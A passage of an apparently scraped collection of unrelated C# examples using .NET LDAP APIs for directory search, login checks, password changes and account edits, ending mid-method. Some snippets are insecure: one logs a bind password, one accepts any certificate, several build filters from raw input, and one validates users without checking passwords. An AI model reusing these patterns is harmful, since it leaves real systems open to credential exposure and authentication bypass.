/// <summary>
        /// This method is to help enable the compound identity feature on the computer account in the specific domain.
        /// </summary>
        /// <param name="domainName">The domain name of the service principal.</param>
        /// <param name="computerName">The host name of the service principal.</param>
        /// <param name="adminName">Need administrator's credential to modify active directory account.</param>
        /// <param name="adminPwd">Need administrator's credential to modify active directory account.</param>
        public void enableCompId(string domainName, string computerName, string adminName, string adminPwd)
        {
            LdapConnection connection = new LdapConnection(domainName);
            NetworkCredential cred = new NetworkCredential(adminName, adminPwd, domainName);
            connection.Credential = cred;
            string dn = PacHelper.GetDomainDnFromDomainName(domainName);
            string targetOu = "cn=Computers," + dn;
            computerName = computerName.Replace("$", "");
            string filter = "cn=" + computerName;
            string[] attributesToReturn = new string[] { "msDS-SupportedEncryptionTypes" };
            SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn);

            SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
            SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes;

            object attributeValue = null;
            attributeValue = PacHelper.getAttributeValue(attributes, "msDS-SupportedEncryptionTypes");
            uint? supportedEncTypes = (uint?)Convert.ToInt32(attributeValue);

            uint compIdFlag = 131072;
            if ((supportedEncTypes.Value & compIdFlag) != compIdFlag)
            {
                string computerDN = filter + "," + targetOu;
                supportedEncTypes = supportedEncTypes + compIdFlag;
                ModifyRequest modRequest = new ModifyRequest(computerDN, DirectoryAttributeOperation.Replace, "msDS-SupportedEncryptionTypes", supportedEncTypes.ToString());
                ModifyResponse modResponse = (ModifyResponse)connection.SendRequest(modRequest);
            }
        }
示例#2
0
        static void Main(string[] args)
        {
            // LdapTest <address> <domain> [<username> <password> [<domain>]]
              //              0        1          2          3           4
              var directory = new LdapDirectoryIdentifier(args[0]);
              var credential = args.Length > 4 ? new NetworkCredential(args[2], args[3], args[4])
            : args.Length > 2 ? new NetworkCredential(args[2], args[3])
            : new NetworkCredential();

              using (var connection = new LdapConnection(directory, credential))
              {
            //while (true)
            {
              var request = new SearchRequest(
            "DC=" + args[1].Replace(".", ",DC="),
            "(&(objectClass=organizationalPerson)(sAMAccountType=805306368))",
            System.DirectoryServices.Protocols.SearchScope.Subtree,
            new[] { "cn" }
              );

              try
              {
            var t = Stopwatch.StartNew();

            PageResultRequestControl pageRequestControl = new PageResultRequestControl(1000);

            // used to retrieve the cookie to send for the subsequent request
            PageResultResponseControl pageResponseControl;
            request.Controls.Add(pageRequestControl);

            while (true)
            {
              var response = (SearchResponse)connection.SendRequest(request);
              pageResponseControl = (PageResultResponseControl)response.Controls[0];
              if (pageResponseControl.Cookie.Length == 0)
                break;
              pageRequestControl.Cookie = pageResponseControl.Cookie;
              Console.WriteLine("{0}\t{1} entries: {2} - {3} in {4:F1}", DateTime.Now, response.Entries.Count,
                AttributeOf(response.Entries[0], "cn"),
                AttributeOf(response.Entries[response.Entries.Count - 1], "cn"),
                t.Elapsed.TotalSeconds
              );
            }
            t.Stop();
              }
              catch (Exception ex)
              {
            Console.WriteLine("{0}\tERRROR - {1}", DateTime.Now, ex.Message);
              }
              //Thread.Sleep(TimeSpan.FromSeconds(30));
            }
              }
        }
示例#3
0
        public bool IsAuthenticated(string username, string pwd)
        {
            ILog log = LogManager.GetLogger(GetType());
            try
            {
                log.InfoFormat("连接Ldap服务器,server是{0}", Server);
                var connection = new LdapConnection(Server)
                                     {
                                         AuthType = AuthType.Basic
                                     };
                connection.SessionOptions.ProtocolVersion = 3;

                if (!AnonymousLogin)
                {
                    log.InfoFormat("使用Credential账户是{0},密码是{1}", CredentialUserName, CredentialPassword);
                    connection.Credential = new NetworkCredential(CredentialUserName, CredentialPassword ?? "");
                }

                if (IsSsl)
                {
                    log.Info("使用SSL连接");
                    connection.SessionOptions.SecureSocketLayer = true;
                }
                
                log.DebugFormat("创建SearchRequest,distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username);
                var searchRequestion = new SearchRequest(SearchUserPath, "uid=" + username, SearchScope.Subtree);

                var searchResult = (SearchResponse)connection.SendRequest(searchRequestion, new TimeSpan(0, 0, 0, 30));
                if (searchResult.Entries.Count == 0)
                {
                    log.InfoFormat("无法通过找到用户.distinguishedName是{0},filter是{1}", SearchUserPath, "uid=" + username);
                    return false;
                }
                SearchResultEntry entry = searchResult.Entries[0];
                string dn = entry.DistinguishedName;
                log.InfoFormat("DN是{0}", dn);

                connection.Credential = new NetworkCredential(dn, pwd);


                connection.Bind();
                return true;
            }
            catch (Exception ex)
            {
                log.Error(ex.Message, ex);
                return false;
            }
        }
示例#4
0
        /// <summary>
        /// Autentica a un usuario contra openLDAP y verifica su membresia en alguno de los grupos
        /// </summary>
        /// <param name="nombreUsuario">Nombre de usuario</param>
        /// <param name="password">Contraseña del usuario</param>
        /// <returns>El grupo al que pertenece el usuario o null en caso que no esté registrado.</returns>
        public GrupoLDAP autenticarUsuario(string nombreUsuario, string password)
        {
            // Valida usuario y contraseña correctos
            LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER);
            LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER);
            openLdap.Credential = new System.Net.NetworkCredential("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr", password);
            openLdap.AuthType = AuthType.Basic;
            openLdap.SessionOptions.ProtocolVersion = 3;
            try
            {
                openLdap.Bind();
            }
            catch (Exception e)
            {
                openLdap.Dispose();
                _conexionBD = new ManejoBD();
                _conexionBD.insertarBitacoraError(e.ToString(), "");
                return null;
            }

            // Buscar grupo al que pertenezca el usuario
            foreach (GrupoLDAP grupo in _listadaGrupos.obtenerGruposLDAP())
            {
                SearchRequest searchRequest = new SearchRequest("cn=" + grupo.NombreGrupo + ",ou=group,dc=ic-itcr,dc=ac,dc=cr", "(memberUid=" + nombreUsuario + ")", System.DirectoryServices.Protocols.SearchScope.Subtree);
                try
                {
                    SearchResponse searchResponse = (SearchResponse)openLdap.SendRequest(searchRequest);
                    if (searchResponse.Entries.Count != 0)
                    {
                        openLdap.Dispose();
                        return grupo;
                    }
                }
                catch (Exception e)// En caso que algún grupo registrado en ListadoGruposLDAP.getGroupList() no exista.
                {
                    _conexionBD = new ManejoBD();
                    _conexionBD.insertarBitacoraError(e.ToString(), "Algún grupo registrado en ListadoGruposLDAP.getGroupList() no existe.");
                    continue;
                }
            }
            openLdap.Dispose();
            return null;
        }
示例#5
0
        public static bool ChangePassword(LdapConnection connection, string userDN, string oldPassword, string newPassword, bool dryRun = false)
        {
            // Create change password request
            DirectoryAttributeModification deleteMod = new DirectoryAttributeModification();
            deleteMod.Name = "unicodePwd";
            deleteMod.Add(Encoding.Unicode.GetBytes("\"" + oldPassword + "\""));
            deleteMod.Operation = DirectoryAttributeOperation.Delete;
            DirectoryAttributeModification addMod = new DirectoryAttributeModification();
            addMod.Name = "unicodePwd";
            addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\""));
            addMod.Operation = DirectoryAttributeOperation.Add;
            ModifyRequest request = new ModifyRequest(userDN, deleteMod, addMod);

            try
            {
                if (!dryRun)
                {
                    DirectoryResponse response = connection.SendRequest(request);
                    return response.ResultCode == 0;
                }
                else
                {
                    return true;
                }
            }

            catch (DirectoryOperationException ex)
            {
                if (ex.Response.ErrorMessage.StartsWith("0000052D"))
                {
                    throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain.");
                }
                // TODO: Convert to DirectoryOperationException and use better match to give the dsHeuristics exception
                else if (ex.Message == "The object does not exist")
                {
                    throw new Exception("User not allowed to change own password because of missing permission, set dsHeuristics to 0000000001001 on CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,CN=...");
                }
                else
                {
                    throw;
                }
            }
        }
示例#6
0
        public LdapUserModel ValidateUsernameAndPassword(string username, string password)
        {
            var ldapServer = Configuration.Server;
            var baseDn = Configuration.BaseDn;

            try
            {
                LdapConnection connection = new LdapConnection(ldapServer);
                connection.SessionOptions.SecureSocketLayer = true;
                connection.SessionOptions.VerifyServerCertificate = (ldapConnection, certificate) => true;
                connection.AuthType = AuthType.Negotiate;

                NetworkCredential credential = new NetworkCredential(username, password);
                connection.Credential = credential;
                connection.Bind();

                string filter = string.Format(CultureInfo.InvariantCulture, "(&(objectClass=user)(objectCategory=user) (sAMAccountName={0}))", LdapEncode(username));
                var attributes = new[] { "sAMAccountName", "displayName", "mail" };
                SearchRequest searchRequest = new SearchRequest(baseDn, filter, SearchScope.Subtree, attributes);

                var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);

                if (searchResponse?.ResultCode == ResultCode.Success)
                {
                    var entry = searchResponse.Entries[0];
                    var model = new LdapUserModel
                    {
                        Identity = GetStringValue(entry, "sAMAccountName"),
                        Email = GetStringValue(entry, "mail"),
                        Username = GetStringValue(entry, "sAMAccountName"),
                    };

                    return model;
                }
            }
            catch (Exception)
            {
                return null;
            }

            return null;
        }
示例#7
0
        private static RangeResult GetRangeBlock(LdapConnection conn, string entryDn, string attrName, int start, int? end, bool extendedDns)
        {
            SearchRequest req = new SearchRequest();
            req.DistinguishedName = entryDn;
            req.Scope = SearchScope.Base;
            req.Filter = "(&(objectClass=*))";
            req.Attributes.Add(attrName + ";range=" + start + "-" + (end == null ? "*" : end.ToString()));

            if (extendedDns)
                req.Controls.Add(new ExtendedDNControl(ExtendedDNFlag.StandardString));

            SearchResponse resp = (SearchResponse)conn.SendRequest(req);
            if (resp.Entries.Count == 0)
                return null;

            SearchResultEntry e = resp.Entries[0];

            foreach (string s in e.Attributes.AttributeNames)
                if (s.StartsWith(attrName, StringComparison.InvariantCultureIgnoreCase))
                {
                    RangeResult res = new RangeResult();
                    DirectoryAttribute attr = e.Attributes[s];

                    res.Values = (string[])attr.GetValues(typeof(string));

                    if (s.EndsWith("*"))
                        res.IsFinal = true;

                    int pos = s.IndexOf('=');
                    int hyp = s.IndexOf('-', pos + 1);

                    res.Start = int.Parse(s.Substring(pos + 1, hyp - pos - 1));

                    if (!res.IsFinal)
                        res.End = int.Parse(s.Substring(hyp + 1));

                    return res;
                }

            return null;
        }
示例#8
0
        public static SearchResponse GetSearchResponse(string searchFilter, string searchBase, int sizeLimit = 500)
        {
            //Establishing a Connection to the LDAP Server
            var ldapident = new LdapDirectoryIdentifier(STR_LDAPURL, STR_LDAPPort);
            //LdapConnection lc = new LdapConnection(ldapident, null, AuthType.Basic);
            var lc = new LdapConnection(ldapident, new NetworkCredential(LDAPUser, LDAPPassword), AuthType.Basic);
            lc.Bind();
            lc.SessionOptions.ProtocolVersion = 3;
            lc.SessionOptions.SecureSocketLayer = true;

            //Configure the Search Request to Query the UCD OpenLDAP Server's People Search Base for a Specific User ID or Mail ID and Return the Requested Attributes
            var attributesToReturn = new string[]
                                         {
                                             STR_UID, STR_EmployeeNumber, STR_Mail, STR_Telephone, STR_DisplayName, STR_CN,
                                             STR_SN, STR_GivenName, STR_PIDM
                                         };

            var sRequest = new SearchRequest(searchBase, searchFilter, SearchScope.Subtree, attributesToReturn) { SizeLimit = sizeLimit };

            //Send the Request and Load the Response
            var sResponse = (SearchResponse)lc.SendRequest(sRequest);

            return sResponse;
        }
        /// <summary>
        /// Get the base distiguished names that will be searched for certificate resolution.
        /// </summary>
        /// <param name="connection">The <see cref="LdapConnection"/> connection to the LDAP server that will be searched.. </param>
        /// <returns>A List of strings representing the base distiguished names of the LDAP server.</returns>
        protected List<String> GetBaseNamingContext(LdapConnection connection)
        {
            var retVal = new List<String>();

            // get the base DNs
            var request = Search.NamingContextRequest();

            var searchResponse = (SearchResponse)connection.SendRequest(request);
            if (searchResponse == null || searchResponse.Entries == null || searchResponse.Entries.Count == 0)
            {
                return null;
            }
            try
            {
                foreach (SearchResultEntry entry in searchResponse.Entries)
                {
                    if (entry.Attributes != null && entry.Attributes.Values != null && entry.Attributes.Count > 0)
                    {
                        foreach (DirectoryAttribute entryAttr in entry.Attributes.Values)
                        {
                            SetAttribute(entryAttr, retVal);
                        }
                    }
                }
            }
            catch (Exception ldapEx)
            {
                this.Error.NotifyEvent(this, ldapEx);
            }
            return retVal;
        }
示例#10
0
        public void Delete(LdapConnection ldap)
        {
            CheckForDeletion();

            if (this.IsNewEntry)
            {
                throw new InvalidOperationException(String.Format("Entry {0} was never committed - cannot delete", 
                    this.DistinguishedName));
            }

            DeleteRequest del = new DeleteRequest(this.DistinguishedName);
            ldap.SendRequest(del);
            
            this.IsDeleted = true;
        }
示例#11
0
        /// <summary>
        /// Send all pending changes to the directory service.  If there is a pending rename / re-superior,
        /// it will fire first.
        /// </summary>
        /// <param name="ldap"></param>
        public void CommitChanges(LdapConnection ldap)
        {
            CheckForDeletion();

            if (this.IsDnDirty)
            {
                ModifyDNRequest req = new ModifyDNRequest();
                req.DistinguishedName = this.OriginalDn;

                req.NewName = this.RDN;
                logger.Info("Request new name {0}", req.NewName);

                req.DeleteOldRdn = true;

                if (this.IsSuperiorDirty)
                {
                    req.NewParentDistinguishedName = this.SuperiorDn;
                    logger.Info("Request new superior {0}", req.NewParentDistinguishedName);
                }

                ldap.SendRequest(req);

                this.IsDnDirty = false;
                this.IsSuperiorDirty = false;
                this.OriginalDn = this.DistinguishedName;
            }

            if (_changes.Count > 0)
            {
                if (this.IsNewEntry)
                {
                    AddRequest req = new AddRequest(this.DistinguishedName);

                    foreach (DirectoryAttributeModification dm in this.ChangesAsDAMC())
                        req.Attributes.Add(new DirectoryAttribute(dm.Name, dm.GetValues(typeof(string))));

                    ldap.SendRequest(req);
                }
                else
                {
                    ModifyRequest req = new ModifyRequest(this.DistinguishedName);

                    foreach (DirectoryAttributeModification dm in this.ChangesAsDAMC())
                        req.Modifications.Add(dm);

                    ldap.SendRequest(req);
                }

                _changes.Clear();
                this.IsNewEntry = false;

                logger.Info("Commit on {0} complete", this.DistinguishedName);
            }
            else
            {
                logger.Info("Nothing to commit on {0}", this.DistinguishedName);

                if (this.IsNewEntry)
                    throw new InvalidOperationException(
                        "Cannot commit a new directory object with no attributes");
            }
        }
示例#12
0
        public static bool SetPassword(LdapConnection connection, string userDN, string newPassword, bool dryRun = false)
        {
            DirectoryAttributeModification addMod = new DirectoryAttributeModification();
            addMod.Name = "unicodePwd";
            addMod.Add(Encoding.Unicode.GetBytes("\"" + newPassword + "\""));
            addMod.Operation = DirectoryAttributeOperation.Replace;
            ModifyRequest request = new ModifyRequest(userDN, addMod);

            try
            {
                if (!dryRun)
                {
                    DirectoryResponse response = connection.SendRequest(request);
                    return response.ResultCode == 0;
                }
                else
                {
                    return true;
                }
            }
            catch (DirectoryOperationException ex)
            {
                if (ex.Response.ErrorMessage.StartsWith("0000052D"))
                {
                    throw new Exception("Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain.");
                }
                else
                {
                    throw;
                }
            }
        }
示例#13
0
        /// <summary>
        /// Checks if the user is a local directory user.
        /// </summary>
        /// <param name="username">The username.</param>
        /// <returns>[true] if the user is a local directory user.</returns>
        /// <remarks>Documented by Dev03, 2008-11-25</remarks>
        private bool CheckLocalDirectoryUser(string username)
        {
            try
            {

                switch (connector.GetLocalDirectoryType())
                {
                    case LocalDirectoryType.ActiveDirectory:
                        string domain = username.Substring(0, username.IndexOf(@"\"));
                        PrincipalContext context;
                        if (!String.IsNullOrWhiteSpace(connector.GetLdapUser()) && !String.IsNullOrWhiteSpace(domain))
                            context = new PrincipalContext(ContextType.Domain, domain, connector.GetLdapUser(), connector.GetLdapPassword());
                        if (!String.IsNullOrWhiteSpace(domain))
                            context = new PrincipalContext(ContextType.Domain, domain);
                        else
                            context = new PrincipalContext(ContextType.Domain);

                        UserPrincipal user = UserPrincipal.FindByIdentity(context, username);
                        return user != null;
                    case LocalDirectoryType.eDirectory:
                        LdapConnection connection = new LdapConnection(new LdapDirectoryIdentifier(connector.GetLdapServer()));
                        connection.AuthType = AuthType.Basic;

                        connection.SessionOptions.SecureSocketLayer = connector.GetLdapUseSSL();
                        if (connector.GetLdapUser() != null && connector.GetLdapUser().Length > 0)
                            connection.Bind(new System.Net.NetworkCredential(connector.GetLdapUser(), connector.GetLdapPassword()));
                        else
                            connection.Bind();

                        string searchString = String.Format("(&(|(cn={0})(uid={0}))(|(objectClass=user)(objectClass=person)))",
                            username.Substring(username.LastIndexOf("\\") + 1));
                        SearchResponse response = connection.SendRequest(new SearchRequest(connector.GetLdapContext(),
                            searchString, SearchScope.Subtree, null)) as SearchResponse;

                        if (response.Entries.Count > 0)
                            return true;
                        break;
                }
            }
            catch { return false; }

            return true;
        }
        public string createUserLdap(User user)
        {
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);
            network = new NetworkCredential(ADMIN, ADMIN_PASS);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    string[] objectClass = new string[] { "top", "inetOrgPerson", "organizationalPerson", "person" };

                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;

                    String dn = DN_CREATE.Replace("{0}", user.email);

                    DirectoryAttributeCollection collection = new DirectoryAttributeCollection() {
                        new DirectoryAttribute("objectclass", objectClass),
                        new DirectoryAttribute("uid",user.email),
                        new DirectoryAttribute("sn", user.lastName),
                        new DirectoryAttribute("cn", user.userName),
                        new DirectoryAttribute("employeeNumber", user.userId),
                        new DirectoryAttribute("departmentNumber", user.userGroup),
                        new DirectoryAttribute("userPassword", user.password)
                    };

                    AddRequest addMe = new AddRequest(dn, "inetOrgPerson");
                    addMe.Attributes.AddRange(collection);

                    connection.Bind();
                    connection.SendRequest(addMe);

                    return "OK";

                }
                catch (LdapException ex)
                {
                    throw new BusinessException("Ldap error: " + ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException("Ldap error: " + e.Message);
                }
            }
        }
示例#15
0
        /// <summary>
        /// Authenticate a user against a AD server
        /// </summary>
        /// <param name="username">username to check</param>
        /// <param name="password">password of the user</param>
        /// <returns></returns>
        public bool ValidateUser(string username, string password)
        {
            try
            {
                LdapConnection ldap = new LdapConnection(new LdapDirectoryIdentifier(host, port));
                ldap.SessionOptions.ProtocolVersion = protocolVersion;
                ldap.AuthType = AuthType.Basic;
                ldap.Credential = new NetworkCredential(adminUsername, adminPassword);
                ldap.SessionOptions.SecureSocketLayer = secureSocket;
                ldap.Bind();

                ldap.AuthType = AuthType.Basic;
                SearchRequest searchRequest = new SearchRequest(
                       baseDn,
                       string.Format(CultureInfo.InvariantCulture, "{0}={1}", authUid, username),
                       SearchScope.Subtree
                );

                SearchResponse searchResponse = (SearchResponse)ldap.SendRequest(searchRequest);
                if (1 == searchResponse.Entries.Count)
                {
                    //ldap.Bind(new NetworkCredential(searchResponse.Entries[0].DistinguishedName, password));
                }
                else
                {
                    throw new Exception("Login failed.");
                }
            }
            catch (Exception e)
            {
                //Todo: Pass error to logging framework instead of console!
                Console.WriteLine(e.Message);
                return false;
            }
            return true;
        }
        internal DirectoryInformation(string adspath,
                                                            NetworkCredential credentials,
                                                            string connProtection,
                                                            int clientSearchTimeout,
                                                            int serverSearchTimeout,
                                                            bool enablePasswordReset)
        {

           //
           // all parameters have already been validated at this point
           //

            this.adspath = adspath;
            this.credentials = credentials;
            this.clientSearchTimeout = clientSearchTimeout;
            this.serverSearchTimeout = serverSearchTimeout;

            Debug.Assert(adspath != null);
            Debug.Assert(adspath.Length > 0);

            //
            // Provider must be LDAP
            //
            if (!(adspath.StartsWith("LDAP", StringComparison.Ordinal)))
                throw new ProviderException(SR.GetString(SR.ADMembership_OnlyLdap_supported));

            //
            // Parse out the server/domain information
            //
            NativeComInterfaces.IAdsPathname pathCracker = (NativeComInterfaces.IAdsPathname) new NativeComInterfaces.Pathname();

            try {
                pathCracker.Set(adspath, NativeComInterfaces.ADS_SETTYPE_FULL);
            }
            catch (COMException e)
            {
                if (e.ErrorCode == unchecked((int) 0x80005000))
                    throw new ProviderException(SR.GetString(SR.ADMembership_invalid_path));
                else
                    throw;
            }

            // Get the server and container names
            try
            {
                serverName = pathCracker.Retrieve(NativeComInterfaces.ADS_FORMAT_SERVER);
            }
            catch (COMException e)
            {
                if (e.ErrorCode == unchecked((int) 0x80005000))
                    throw new ProviderException(SR.GetString(SR.ADMembership_ServerlessADsPath_not_supported));
                else
                    throw;
            }
            Debug.Assert(serverName != null);

            creationContainerDN = containerDN = pathCracker.Retrieve(NativeComInterfaces.ADS_FORMAT_X500_DN);

            //
            // Parse out the port number if specified
            //
            int index = serverName.IndexOf(':');
            if (index != -1)
            {
                string tempStr = serverName;

                serverName = tempStr.Substring(0, index);

                Debug.Assert(tempStr.Length > index);
                port = Int32.Parse(tempStr.Substring(index + 1), NumberFormatInfo.InvariantInfo);
                portSpecified = true;
            }

            if (String.Compare(connProtection, "Secure", StringComparison.Ordinal) == 0)
            {
                //
                // The logic is as follows:
                // 1. Try Ssl first and check if concurrent binds are possible for validating users
                // 2. If Ssl is not supported, try signing and sealing
                // 3. If both the above are not supported, then we will fail
                //

                bool trySignAndSeal = false;
                bool trySslWithSecureAuth = false;

                // first try with simple bind
                if (!IsDefaultCredential())
                {

                    authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.NonWindows);
                    ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.NonWindows);

                    try
                    {
                        rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);
                        // this will force a bind
                        rootdse.RefreshCache();
                        this.connectionProtection = ActiveDirectoryConnectionProtection.Ssl;
                        if (!portSpecified)
                        {
                            port = SSL_PORT;
                            portSpecified = true;
                        }
                    }
                    catch (COMException ce)
                    {

                        if (ce.ErrorCode == unchecked((int) 0x8007052e))
                        {
                            //
                            // this could be an ADAM target with windows user (in that case simple bind will not work)
                            //
                            trySslWithSecureAuth = true;
                        }
                        else if (ce.ErrorCode == unchecked((int) 0x8007203a))
                        {
                            // server is not operational error, do nothing, we need to fall back to SignAndSeal
                            trySignAndSeal = true;
                        }
                        else
                            throw;
                     }
                }
                else
                {
                    // default credentials, so we have to do secure bind
                    trySslWithSecureAuth = true;
                }

                if (trySslWithSecureAuth)
                {

                    authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.Windows);
                    ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.Ssl, CredentialsType.Windows);

                    try
                    {
                        rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);
                        // this will force a bind
                        rootdse.RefreshCache();
                        this.connectionProtection = ActiveDirectoryConnectionProtection.Ssl;
                        if (!portSpecified)
                        {
                            port = SSL_PORT;
                            portSpecified = true;
                        }

                    }
                    catch (COMException ce)
                    {
                        if (ce.ErrorCode == unchecked((int) 0x8007203a))
                        {
                            // server is not operational error, do nothing, we need to fall back to SignAndSeal
                            trySignAndSeal = true;
                        }
                        else
                            throw;
                     }

                }

                if (trySignAndSeal)
                {
                    authenticationType = GetAuthenticationTypes(ActiveDirectoryConnectionProtection.SignAndSeal, CredentialsType.Windows);
                    ldapAuthType = GetLdapAuthenticationTypes(ActiveDirectoryConnectionProtection.SignAndSeal, CredentialsType.Windows);

                    try
                    {
                        rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);
                        rootdse.RefreshCache();
                        this.connectionProtection = ActiveDirectoryConnectionProtection.SignAndSeal;
                    }
                    catch (COMException e)
                    {
                        throw new ProviderException(SR.GetString(SR.ADMembership_Secure_connection_not_established, e.Message), e);
                    }
                }
            }
            else
            {
                //
                // No connection protection
                //

                //
                // we will do a simple bind but we must ensure that the credentials are explicitly specified
                // since in the case of default credentials we cannot honor it (default credentials become anonymous in the case of
                // simple bind)
                //
                if (IsDefaultCredential())
                    throw new NotSupportedException(SR.GetString(SR.ADMembership_Default_Creds_not_supported));

                // simple bind
                authenticationType = GetAuthenticationTypes(connectionProtection, CredentialsType.NonWindows);
                ldapAuthType = GetLdapAuthenticationTypes(connectionProtection, CredentialsType.NonWindows);

                rootdse = new DirectoryEntry(GetADsPath("rootdse"), GetUsername(), GetPassword(), authenticationType);

            }

            //
            // Determine whether this is AD or ADAM by binding to the rootdse and
            // checking the supported capabilities
            //
            if (rootdse == null)
                rootdse = new DirectoryEntry(GetADsPath("RootDSE"), GetUsername(), GetPassword(), authenticationType);
            directoryType = GetDirectoryType();

            //
            // if the directory type is ADAM and the conntectionProtection was selected
            // as sign and seal, then we should throw an ProviderException. This is becuase validate user will always fail for ADAM
            // because ADAM does not support secure authentication for ADAM users.
            //
            if ((directoryType == DirectoryType.ADAM) && (this.connectionProtection == ActiveDirectoryConnectionProtection.SignAndSeal))
                throw new ProviderException(SR.GetString(SR.ADMembership_Ssl_connection_not_established));

            //
            // for AD, we need to block the GC ports
            //
            if ((directoryType == DirectoryType.AD) && ((port == GC_PORT) || (port == GC_SSL_PORT)))
                throw new ProviderException(SR.GetString(SR.ADMembership_GCPortsNotSupported));

            //
            // if container dn is null, we need to get the default naming context
            // (containerDN cannot be null for ADAM)
            //
            if (String.IsNullOrEmpty(containerDN))
            {
                if (directoryType == DirectoryType.AD)
                {
                    containerDN = (string)rootdse.Properties["defaultNamingContext"].Value;
                    if (containerDN == null)
                        throw new ProviderException(SR.GetString(SR.ADMembership_DefContainer_not_specified));

                    //
                    // we will create users in the default users container, check that it exists
                    //
                    string wkUsersContainerPath = GetADsPath("<WKGUID=" + GUID_USERS_CONTAINER_W + "," + containerDN + ">");
                    DirectoryEntry containerEntry = new DirectoryEntry(wkUsersContainerPath, GetUsername(), GetPassword(), authenticationType);

                    try
                    {
                        creationContainerDN = (string) PropertyManager.GetPropertyValue(containerEntry, "distinguishedName");
                    }
                    catch (COMException ce)
                    {
                        if (ce.ErrorCode == unchecked((int) 0x80072030))
                            throw new ProviderException(SR.GetString(SR.ADMembership_DefContainer_does_not_exist));
                        else
                            throw;
                    }
                }
                else
                {
                    // container must be specified for ADAM
                    throw new ProviderException(SR.GetString(SR.ADMembership_Container_must_be_specified));
                }
            }
            else
            {
                //
                // Normalize the container name (incase it was specified as GUID or WKGUID)
                //
                DirectoryEntry containerEntry = new DirectoryEntry(GetADsPath(containerDN), GetUsername(), GetPassword(), authenticationType);

                try
                {
                    creationContainerDN = containerDN = (string) PropertyManager.GetPropertyValue(containerEntry, "distinguishedName");
                }
                catch (COMException ce)
                {
                    if (ce.ErrorCode == unchecked((int) 0x80072030))
                        throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist));
                    else
                        throw;
                }
            }

            //
            // Check if the specified path(container) exists on the specified server/domain
            // (NOTE: We need to do this using S.DS.Protocols rather than S.DS because we need to
            //            bypass the referral chasing which is automatic in S.DS)
            //

            LdapConnection tempConnection = new LdapConnection(new LdapDirectoryIdentifier(serverName + ":" + port), GetCredentialsWithDomain(credentials), ldapAuthType);
            tempConnection.SessionOptions.ProtocolVersion = 3;

            try
            {
                tempConnection.SessionOptions.ReferralChasing = System.DirectoryServices.Protocols.ReferralChasingOptions.None;
                SetSessionOptionsForSecureConnection(tempConnection, false /*useConcurrentBind */);
                tempConnection.Bind();


                SearchRequest request = new SearchRequest();
                request.DistinguishedName = containerDN;
                request.Filter = "(objectClass=*)";
                request.Scope = System.DirectoryServices.Protocols.SearchScope.Base;
                request.Attributes.Add("distinguishedName");
                request.Attributes.Add("objectClass");

                if (ServerSearchTimeout != -1)
                    request.TimeLimit = new TimeSpan(0, ServerSearchTimeout, 0);

                SearchResponse response;
                try
                {
                    response = (SearchResponse) tempConnection.SendRequest(request);
                    if (response.ResultCode == ResultCode.Referral || response.ResultCode ==  ResultCode.NoSuchObject)
                        throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist));
                    else if (response.ResultCode != ResultCode.Success)
                        throw new ProviderException(response.ErrorMessage);
                }
                catch (DirectoryOperationException oe)
                {
                    SearchResponse errorResponse = (SearchResponse) oe.Response;
                    if (errorResponse.ResultCode == ResultCode.NoSuchObject)
                        throw new ProviderException(SR.GetString(SR.ADMembership_Container_does_not_exist));
                    else throw;
                }

                //
                // check that the container is of an object type that can be a superior of a user object
                //
                DirectoryAttribute objectClass = response.Entries[0].Attributes["objectClass"];
                if (!ContainerIsSuperiorOfUser(objectClass))
                    throw new ProviderException(SR.GetString(SR.ADMembership_Container_not_superior));

                //
                // Determine whether concurrent bind is supported
                //
                if ((connectionProtection == ActiveDirectoryConnectionProtection.None) || (connectionProtection == ActiveDirectoryConnectionProtection.Ssl))
                {
                    this.concurrentBindSupported = IsConcurrentBindSupported(tempConnection);
                }

            }
            finally
            {
                tempConnection.Dispose();
            }

            //
            // if this is ADAM, get the partition DN
            //
            if (directoryType == DirectoryType.ADAM)
            {
                adamPartitionDN = GetADAMPartitionFromContainer();
            }
            else
            {
                if (enablePasswordReset)
                {
                    // for AD, get the lockout duration for user account auto unlock
                    DirectoryEntry de = new DirectoryEntry(GetADsPath((string) PropertyManager.GetPropertyValue(rootdse, "defaultNamingContext")), GetUsername(), GetPassword(), AuthenticationTypes);
                    NativeComInterfaces.IAdsLargeInteger largeIntValue = (NativeComInterfaces.IAdsLargeInteger) PropertyManager.GetPropertyValue(de, "lockoutDuration");
                    Int64 int64Value = largeIntValue.HighPart * 0x100000000 + (uint) largeIntValue.LowPart;

                    // int64Value is the negative of the number of 100 nanoseconds interval that makes up the lockout duration
                    adLockoutDuration = new TimeSpan(-int64Value);
                }
            }
        }
 private void SetCerts(LdapConnection connection, SearchRequest request, X509Certificate2Collection retVal)
 {
     // send the LDAP request using the mail attribute as the search filter and return the userCertificate attribute
     var response = (SearchResponse)connection.SendRequest(request);
     if (response != null && response.Entries.Count > 0)
     {
